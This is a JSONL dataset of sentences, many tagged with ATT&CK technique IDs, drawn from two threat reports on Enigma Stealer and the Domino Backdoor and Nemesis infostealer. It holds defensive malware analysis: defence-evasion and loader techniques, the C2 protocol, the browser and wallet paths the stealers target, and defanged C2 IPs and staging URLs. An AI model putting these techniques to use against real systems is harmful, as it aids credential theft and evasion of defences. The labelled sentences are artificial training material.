{"sentence": "The stage 3 .NET binary is executed via CLR hosting Stage 2.1: Engima Driver analysis Name MD5 SHA-1 SHA-256 Driver.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "SYS 28ca7a21de60671f3b528a9e08a44e1c 21F1CFD310633863BABAAFE7E5E892AE311B42F6 D5B4C2C95D9610623E681301869B1643E4E2BF0ADCA42EAC5D4D773B024FA442 The driver's sole purpose is to patch the integrity level of the Microsoft defender (MsMpEng.exe) and forcibly reduce it from system to untrusted integrity.", "labels": ["T1562.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The reduction of the integrity level to untrusted impedes the process of accessing secure resources on the system for the victim, silently disabling it without terminating the process.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 30.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Microsoft defender token integrity modification before and after executing Enigma Driver The code snippets in Figure 31 demonstrate how the malware performs these operations.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 31.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Integrity level patching Figure 32.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Details of the vulnerable Intel driver binary Figure 33.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Details of the certificate of the vulnerable driver (top) and Enigma Driver (bottom) Stage 3: EngimaDownloader_s003 The following table shows the details of Enigma.Bot.Net.exe.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "MD5 SHA-1 SHA-256 File size 50949ad2b39796411a4c7a88df0696c8 67a502395fc4193721c2cfc39e31be11e124e02c 8dc192914e55cf9f90841098ab0349dbe31825996de99237f35a1aab6d7905bb 10.50 KB (10752 bytes) EngimaDownloader_s003 is a third-stage downloader written in C#.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It is responsible for downloading, decompressing, and executing the final stealer payload on an infected system.", "labels": ["T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The malware also accepts commands from a Telegram channel, though these commands may vary between variants.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 3 payload initialization", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It then sends a GET request to https://api[.]telegram[.]org/bot{token}/getUpdates to retrieve the command.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 35.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 3 payload commands Figure 36.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "An example of network communication between EngimaDownloader_s003 and the attacker’s Telegram channel.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 4: Enigma Stealer MD5 SHA-1 SHA-256 File size 4DC2D57D9DB430235B21D7FB735ADF36 98BF3080A85743AB933511D402E94D1BCEE0C545 4D2FB518C9E23C5C70E70095BA3B63580CAFC4B03F7E6DCE2931C54895F13B2C 2954.75 KB (2954752 bytes)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It captures screenshots and extracts clipboard content and VPN configurations.", "labels": ["T1113"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 38.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 41.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Enigma Stealer capabilities It's worth mentioning that some strings, such as web browser paths and Geolocation API services URLs, are encrypted with the AES algorithm in cipher-block chaining (CBC) mode.", "labels": ["T1573.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 43.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "String encryption logic List of decrypted strings: \\Chromium\\User Data\\ \\Google\\Chrome\\User Data\\ \\Google(x86)\\Chrome\\User Data\\ \\Opera Software\\ \\MapleStudio\\ChromePlus\\User Data\\ \\Iridium\\User Data\\ 7Star\\7Star\\User Data //CentBrowser\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Data //Chedot\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Data Coowon\\Coowon\\User Data liebao\\User Data QIP Surf\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Through the use of employment lures, these actors can target individuals and organizations across the cryptocurrency and Web 3 sphere.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Organizations can protect themselves by remaining vigilant against phishing attacks.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Furthermore, individuals are advised to remain cautious of social media posts or phishing attempts that offer job opportunities unless they are sure of their legitimacy.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Due to current economic conditions, threat actors can be expected to continue to heavily deploy employment lures to target those seeking employment.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Meanwhile, organizations should also consider cutting edge multilayered defensive strategy and comprehensive security solutions such as Trend Micro:trade_mark: XDR that can detect, scan, and block malicious URLs across the modern threat landscape. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The indicators of compromise for this entry can be found here.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Authors Aliakbar Zahravi Staff Researcher Peter Girnus Sr. Threat Researcher", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Background This discovery highlights the intricate nature of cooperation among cybercriminal groups and their members: Since late February 2023, Domino Backdoor campaigns have been observed using the Dave Loader, which we have linked to the Trickbot/Conti syndicate and its former members.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "One of Domino’s final payloads is the Project Nemesis infostealer.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Project Nemesis was first advertised on the dark web in December 2021, though has been rarely used since then.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Analysis Ex-Conti Members Deploy Domino in Recent Campaigns Former members of ITG23 (aka the Trickbot/Conti syndicate) are likely behind recent campaigns using the Dave Loader to load Domino Backdoor and probably collaborated with current or former ITG14 developers to purchase or use the new malware family.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "X-Force previously assessed that Dave is one of several loaders or crypters developed by members of the Trickbot/Conti group.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Dave Loader has been used recently with several Cobalt Strike samples with the watermark “206546002,” which X-Force and other security researchers — here and here — have associated with groups composed of former members of the Trickbot/Conti syndicate, including Quantum and Royal.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "X-Force observed Dave-loaded Cobalt Strike samples using this watermark in suspected Royal attacks in fall 2022.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader has also been used this year to load IcedID and Emotet, both of which serve as initial access vectors for ransomware attacks from former Trickbot/Conti-affiliated factions.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This new backdoor gathers basic system information, which it then sends to the C2, and in return receives an AES encrypted payload.", "labels": ["T1027", "T1041", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In most instances, the received payload was a second loader that was found to have code overlap with Domino Backdoor, and as such we have dubbed it Domino Loader.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The decrypted payload is a .NET infostealer, which identifies itself as ‘Nemesis Project.’", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino’s Connections to ITG14 Analysis revealed that both the Domino Backdoor and Loader share code overlap with the Lizar Malware, also known as Tirion and DiceLoader, which is attributed to the threat group ITG14 (FIN7).", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In addition to having similar coding styles and functionality, both Domino and DiceLoader share the same configuration structure and have similar bot ID formats.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Lizar was reportedly first used in March 2020, when it was originally named Tirion, and has been observed in numerous ITG14 campaigns up to the end of 2022.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino has been active in the wild since at least October 2022, which notably is when Lizar observations began to decrease.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "X-Force researchers found additional evidence connecting Domino Backdoor to ITG14’s Carbanak Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Around the same time, we also uncovered NewWorldOrder Loader samples, with the same filename ThunderboltService.exe, used to load the Carbanak Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Carbanak has been used by ITG14 since late 2015.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "While such overlap is insufficient for attribution, it is nonetheless consistent with other evidence linking Domino to an ITG14 developer and may indicate the latter’s preference for MivoCloud for at least some of their C2 addresses.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "MivoCloud has also been used to host Diceloader and Carbanak C2 servers.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Collaboration between members of ITG14 and former members of ITG23 is not without precedent.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Project Nemesis The Project Nemesis infostealer has been active in the wild since December 2021, when it was offered for sale on several Dark Web forums.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It can collect data from a range of web browsers, as well as applications including Steam, Telegram, Discord, crypto wallets, and VPN providers.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This leads us to assess that the ITG14 members responsible for developing Domino probably had a relationship with Project Nemesis and offered Domino and the infostealer to the ex-Conti threat actors as a package.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The ex-Conti members in turn likely used the Project Nemesis infostealer against lower value targets.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The use of infostealers by former Trickbot/Conti members and their distributors is not without precedent — other security researchers observed the Vidar infostealer delivered during DEV-0569 Batloader campaigns that also led in some cases to Cobalt Strike and Royal ransomware.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "We assess that infostealers may often be deployed during lower priority infections, e.g., on personal computers or those not belonging to an Active Directory domain, while higher priority infections receive other backdoors such as Cobalt Strike.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader The sample analysed for the purpose of this report is a 64-bit executable with MD5 hash 2CC79806701F1A6E877C29B93F06F1BB and a reported compile date of 28 February 2023.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This sample is identified as a variant of Dave Loader, a crypter linked to threat group ITG23 and more commonly observed with payloads such as Emotet.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This sample has two encrypted resources within a resource directory named “XKLKLCRTE.”", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader loads the resources using the API calls LdrFindResource_U and LdrAccessResource, and decrypts them using XOR and the key mh8ZqMlTsaDYBZe7ma\\x00.", "labels": ["T1106", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The smaller payload, with resource ID 3412, is a shellcode blob that contains code designed to load a PE file.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader executes the decrypted shellcode and passes the PE payload to it, which the shellcode then loads and executes.", "labels": ["T1055", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Backdoor The loaded payload is a 64-bit DLL written in Visual C++, with MD5 hash CDBE0FEB82B1CAF164C7DA42CB9A20BE.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The payload was found to be a hitherto unknown backdoor, which will be referred to as Domino Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Upon execution, Domino Backdoor starts by generating a Bot ID for the infected system by gathering the username and hostname and creating a hash of the collected data, to which it then appends its current process id.", "labels": ["T1005", "T1033", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "For example, a648628c13d928dc-4480.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This bot ID format is similar to that generated by Lizar, which also used a checksum of system information, combined with the process ID.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "However, Lizar used a CRC algorithm to create its hash, whereas Domino uses a custom algorithm which XOR’s multiple values together.", "labels": ["T1027"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Fig 2 — Domino Backdoor config decryption In the analysed sample the decrypted config contains two pipe-delimited IP addresses, 88.119.175[.]124 and 94.158.247[.]72.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "A second config block, which is decrypted separately, contains an RSA public key.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware generates a random 32-byte key, which it encrypts using the RSA key.", "labels": ["T1027"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It then attempts to connect to the C2 via TCP port 443 and send the encrypted key.", "labels": ["T1095"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the system is detected as being domain joined, then the malware uses the second IP address from the config to connect to the C2, otherwise, it defaults to the first.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This structure breaks down as follows: Offset Size (bytes) Contents Description 0x0 4 0x00000039 Size of structure 0x4 1 0x0B Hardcoded value 0xB (11) 0x5 1 0x15 Size of system id string 0x6 21 a648628c13d928dc-4480 System ID string 0x1B 1 0x03 Value indicating presence of domain string 0x1C 1 0x01 Unknown 0x1D 1 0x0A OS Major version (10) 0x1E 1 0x00 OS Minor version 0x1F", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware first sends 4 bytes to the C2 that contain a XOR-encrypted value, which is the size of the data to follow, and then sends the AES-encrypted system data.", "labels": ["T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware then begins a loop of checking in with the C2 by first sending a 4-byte encrypted size, followed by a 16-byte AES-encrypted block, which decrypts to the following 5 bytes {01 00 00 00 ff}.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It continues this every second until it receives a response from the C2.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "When it receives a response, the malware expects the C2 to send 4 bytes containing the payload size, followed by the payload itself.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware then decrypts the received payload using AES and the shared key.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The decrypted data consists of a 4 byte size, followed by a single byte indicating either a command or the load method that the malware should use for the payload, followed by the payload data itself, if applicable.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the command byte is 0x3, then the malware exits.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the command byte is 0x7, then the malware enumerates the running processes on the system and compiles a list of process names and IDs.", "labels": ["T1057"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Otherwise, the malware proceeds to load and execute the received payload using the method indicated by the load/command byte.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "0x1 — Copy the payload into allocated memory within the current process and create a new thread to execute an export named ReflectiveLoader within the payload DLL. 0x4 — Save the payload to the %Temp% directory with a filename generated via GetTempFileNameA, and execute the file using CreateProcessA. 0x5, 0x6 — Open process with process id provided with the downloaded data.", "labels": ["T1106"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Allocate space within the process and write the payload data to the process memory.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Then create a new thread in the remote process to execute an export named ReflectiveLoader within the copied payload DLL.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In the case of the analysed sample, the received payload contained a DLL binary, and command 0x1 was specified.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Fig 3 — Domino Backdoor command structure Overlap with Lizar Toolkit Domino Backdoor shares a lot of overlap with malware associated with the Lizar Toolkit, which is attributed to threat group ITG14.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Lizar Toolkit consists of a backdoor/loader, a collection of modules/plugins which can be executed by the loader, and C2 client and server applications.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In addition to having similar coding styles and utilising similar API calls, Domino Backdoor uses the same configuration structure as the Lizar Loader.", "labels": ["T1106"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Both malware families also generate system IDs in very similar manners.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In the case of Domino Backdoor a hash is generated from the system username and hostname and the process ID is appended.", "labels": ["T1033", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The hashing algorithm is custom and appears to be based on an encryption algorithm used previously in the Lizar Loader.", "labels": ["T1027"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Backdoor also incorporates elements that appear in some of Lizar’s plugins.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "For example, the system information gathered by Domino Backdoor and sent to the C2 matches the reported functionality of Lizar’s Info32/Info64.dll plugin.", "labels": ["T1041"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Also, the function within Domino Backdoor to enumerate running processes and send a list of process names and IDs back to the C2 is very similar to the functionality of Lizar’s ListProcesses32/ListProcesses64.dll plugin.", "labels": ["T1041", "T1057"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Finally, Lizar’s Jumper32/Jumper64.dll plugin resembles the code within Domino Backdoor, which is able to load a payload using several different methods, with the required one specified using a command ID number.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Loader The payload received by the Domino backdoor from the C2 during this analysis was a 64-bit DLL, written in C++, with MD5 hash 2373BE26018075847AEA51636B739F66 and an internal filename of MultiRunDll64.dll.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The payload was found to be a Loader with similarities to Domino Backdoor, and will be referred to as Domino Loader.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Loader has one export named ReflectiveLoader that contains code taken from the well-known ReflectiveDLLInjection project.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Once loaded, Domino Loader starts by loading an encrypted payload from its resources and decrypting it using AES-256-CBC and a hardcoded key.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Microsoft WinCrypt library is used for AES encryption and decryption by both Domino Backdoor and Loader.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This option is most likely used for shellcode payloads or further DLLs with ReflectiveLoader exports.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the value of the load field is -1 then the loader allocates memory within the current process and then loads the PE payload into it using the full PE loading procedure.", "labels": ["T1055"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It copies the headers, maps the individual PE sections, processes any relocations, loads the PE’s imports, and then executes the PE from its internally specified entry point.", "labels": ["T1055"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Finally, if the load field is equal to zero or another negative number, the payload is loaded as a .NET assembly.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Nemesis Project Infostealer The final payload loaded by Domino Loader is a .NET assembly with MD5 hash D9FFB202D6B679E5AD7303C0334CD000 and identified as a ‘Project Nemesis’ infostealer.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Project Nemesis is a commodity malware written in .NET which was first advertised for sale on the dark web in December 2021, though it does not seem to be widely known and it is not frequently observed in the wild.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The sample was initially advertised with the following text: !", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Steeler was originally developed for personal purposes, in the future for sale. !", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Will be sold in one hand.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Price $ 1300 (bargaining is appropriate) !", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "STRICTLY THROUGH THE GUARANTOR DESCRIPTION : – Stealer is based on .Net[C#] – 4.5 .", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Electrum,Electrum-Dash,Ethereum,Exodus,Atomic,Jaxx,Coinomi,Guarda,Armory,Zcash,Bytecoin List of supported crypto plugins: TronLink, MetaMask, Binance Chain Wallet Anti-sniffer: All programs that catch http/https data transfer are closed [even if the name is changed] – Self-delete after sending data (on/off) – CIS(Lock start in CIS countries) (on/off) – Blocking startup on virtual machines (on/off) – Sending data to the Web-panel (IP logger is on the side of the panel)", "labels": ["T1070.004", "T1071.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Write(“~[NEMESIS INIZIALIZE]~”); Logger.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Write(“Запуск задачи EngineTask”); Scroll to view full table Fig 6 — Nemesis Start-up Code Nemesis then immediately proceeds with infostealing activities, and collects the following data in order: Chromium-based browsers: Steals stored credentials, cookies, credit cards, bookmarks, autofill data, and history.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Browsers include: “\\\\Mozilla\\\\Firefox”, “\\\\Comodo\\\\IceDragon”, “\\\\Mozilla\\\\SeaMonkey”, “\\\\Moonchild Productions\\\\Pale Moon”, “\\\\Waterfox”, “\\\\K-Meleon”, “\\\\Thunderbird”, “\\\\8pecxstudios\\\\Cyberfox”, “\\\\NETGATE Technologies\\\\BlackHaw” CryptoWallet data from browser extensions MetaMask, TronLink, and Binance Clipboard data The following data collection tasks are then all set to run in parallel. CryptoWallets on disk from apps including: Electrum, Electrum-Dash, Ethereum, Exodus, Atomic, Jaxx, Coinomi, Guarda, Armory, Zcash, Bytecoin System info, including both hardware and OS info.", "labels": ["T1057", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Enumerates running processes Enumerates IDs from Steam application Enumerates files under Steam application directory Gets a list of installed browsers by looping through entries under registry key SOFTWARE\\\\Clients\\\\StartMenuInternet and SOFTWARE\\\\WOW6432Node\\\\Clients\\\\StartMenuInternet, and then recording the contents of subkey shell\\\\open\\\\command for each.", "labels": ["T1012", "T1057", "T1083"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Enumerate files on desktop Discord Tokens FoxMail data DynDNS credentials FileZilla connection credentials + hosts.", "labels": ["T1083"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "NordVPN credentials OpenVPN files KerioVPN files Proton VPN credentials User-agents Pidgin credentials Telegram data files Telegram portable files RDP connection files (.rdp)", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware then collates all the data and adds it to a Zip archive which it then transfers back to the C2.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Backdoor shares code overlap with the Lizar (aka Tirion, Diceloader) family of malware, developed by ITG14.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Since late February 2023, former members of ITG23 have been observed using Dave Loader with Domino Backdoor during their campaigns, suggesting at least some level of collaboration between the two groups.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The use of malware with ties to multiple groups in a single campaign — such as Dave Loader, Domino Backdoor and Project Nemesis Infostealer — highlights the complexity involved in tracking threat actors but also provides insight into how and with whom they operate.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Indicators of Compromise Indicator Indicator Type Context de9b3c01991e357a349083f0db6af3e782f15e981e2bf0a16ba618252585923a SHA256 Hash Dave Loader / Domino Backdoor b14ab379ff43c7382c1aa881b2be39275c1594954746ef58f6a9a3535e8dc1a8 SHA256 Hash Dave Loader / Domino Backdoor dbdfc3ca5afa186c1a9a9c03129773f7bc17fb7988fe0ca40fc3c5bedb201978 SHA256 Hash Dave Loader /Domino", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Backdoor ce99b4c0d75811ce70610d39b1007f99560e6dea887a451e08916a4f8cf33678 SHA256 Hash Dave Loader /Domino", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Backdoor f1817665ea2831f775e23cbda27cbeb06d03e6c39bbfad920b50f40712dd37cb SHA256 Hash NewWorldOrder Loader / Carbanak Backdoor 51e0512a54640be8e3477363c8d72d893c6edd20399bddf71e95eec3ddfdb42e SHA256 Hash NewWorldOrder Loader / Carbanak Backdoor f4ebd59fb578a0184abf6870fc652210d63e078a35dace0a48c5f273e417c13d SHA256 Hash NewWorldOrder Loader / Domino Backdoor 92651f9418625e5281b84cccb817e94e6294b36c949b00fcd4046770b87f10e4 SHA256 Hash NewWorldOrder Loader / Domino Backdoor e5af0b9f4650dc0193c9884507e6202b04bb87ac5ed261be3f4ecfa3b6911af8 SHA256 Hash Domino Backdoor hxxp://170.130.55[.]250/x64.exe URL Staging URL for Domino Backdoor hxxps://upperdunk[.]com/mr64.exe URL Staging URL for Domino Backdoor 88.119.175[.]124 IP Address Domino Backdoor C2 94.158.247[.]72 IP Address Domino Backdoor C2 178.23.190[.]73 IP Address Carbanak C2 es-megadom[.]com Domain Project Nemesis C2 185.225.17[.]202 IP Address Domino Backdoor C2 5.182.37[.]118 IP Address Domino Backdoor C2 45.67.34[.]236 IP Address Project Nemesis C2 Scroll to view full table To learn how IBM X-Force can help you with anything regarding cybersecurity including incident response, threat intelligence, or offensive security services schedule a meeting here: IBM X-Force Scheduler If you are experiencing cybersecurity issues or an incident, contact X-Force to help: US hotline 1-888-241-9812 Global hotline (+001) 312-212-8034.", "labels": [], 